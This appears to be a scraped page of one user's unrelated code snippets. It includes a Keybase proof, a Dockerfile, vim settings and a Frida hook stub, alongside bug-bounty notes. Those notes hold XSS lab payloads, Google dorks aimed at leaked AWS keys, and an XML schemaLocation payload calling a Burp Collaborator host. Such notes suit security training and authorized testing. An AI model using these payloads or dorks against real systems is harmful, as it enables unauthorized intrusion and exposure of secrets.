ruevaughn

Keybase proof

I hereby claim:

• I am ruevaughn on github.
• I am ruevaughn (https://keybase.io/ruevaughn) on keybase.
• I have a public key ASDxprq95MwXzozA5TQzIm_r-5L9lMfd_iP8AkDlMziSUAo

To claim this, I am signing this object:

ruevaughn

{
  "time_used": 498,
  "faces": [
    {
      "landmark": {
        "mouth_upper_lip_left_contour2": {
          "y": 882,
          "x": 360
        },
        "mouth_upper_lip_top": {

ruevaughn

XSS

---

DOM Xss

---

• Lab: DOM XSS in document.write sink using source location.search
  • My Solution: "><script>alert(1)</script>
  • Their Solution: "><svg onload=alert(1)>

ruevaughn

FROM mcr.microsoft.com/dotnet/sdk:5.0-buster-slim AS build
WORKDIR /app

RUN curl -sL https://deb.nodesource.com/setup_10.x |  bash -
RUN apt-get install -y nodejs
RUN npm install -g @vue/cli

# copy csproj and restore as distinct layers
COPY *.sln .
COPY ["DAL/ReconNess.Data.Npgsql/ReconNess.Data.Npgsql.csproj", "DAL/ReconNess.Data.Npgsql/"]

ruevaughn

level 4 
http://www.xss-game.appspot.com/level3/frame#3.jpg" \\\' onerror="alert(1)">

ruevaughn

" https://github.com/junegunn/vim-plug/wiki/tips#automatic-installation

syntax on

set noerrorbells
set tabstop=2 softtabstop=2
set shiftwidth=2
set expandtab
set smartindent
set nu

ruevaughn

setImmediate(function(){
  Java.perform(function() { 
    var currentApplication = Java.use("android.app.ActivityThread").currentApplication();
      var context = currentApplication.getApplicationContext();  
      // Extra Code Goes Here
  });
});

ruevaughn

site:hackerone.com inurl:reports intext:account takeover intext:disclosed(full)


Company Recon

Some Devs use "Google Groups" as a workplace because it is easy and free. But a lot of sensitive information is leaked Such as "access keys", "aws secrets" ...etc .
Dork: site:http://groups.google.com "$COMPANY"

site:*.google.com Manually search for Subdomains
site: packetpub.com fieltype:pdf

ruevaughn

.*\.example\.com$
^example\.com$
.*\.example\.net$
!.*outofscope\.example\.net$

ruevaughn

https://hackerone.com/reports/1150799
<fkpxmlns="http://a.b/"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://a.b/http://wiiyjpk3neg58qeu4vb5j8vpcgi86x.burpcollaborator.net/fkp.xsd">fkp</fkp>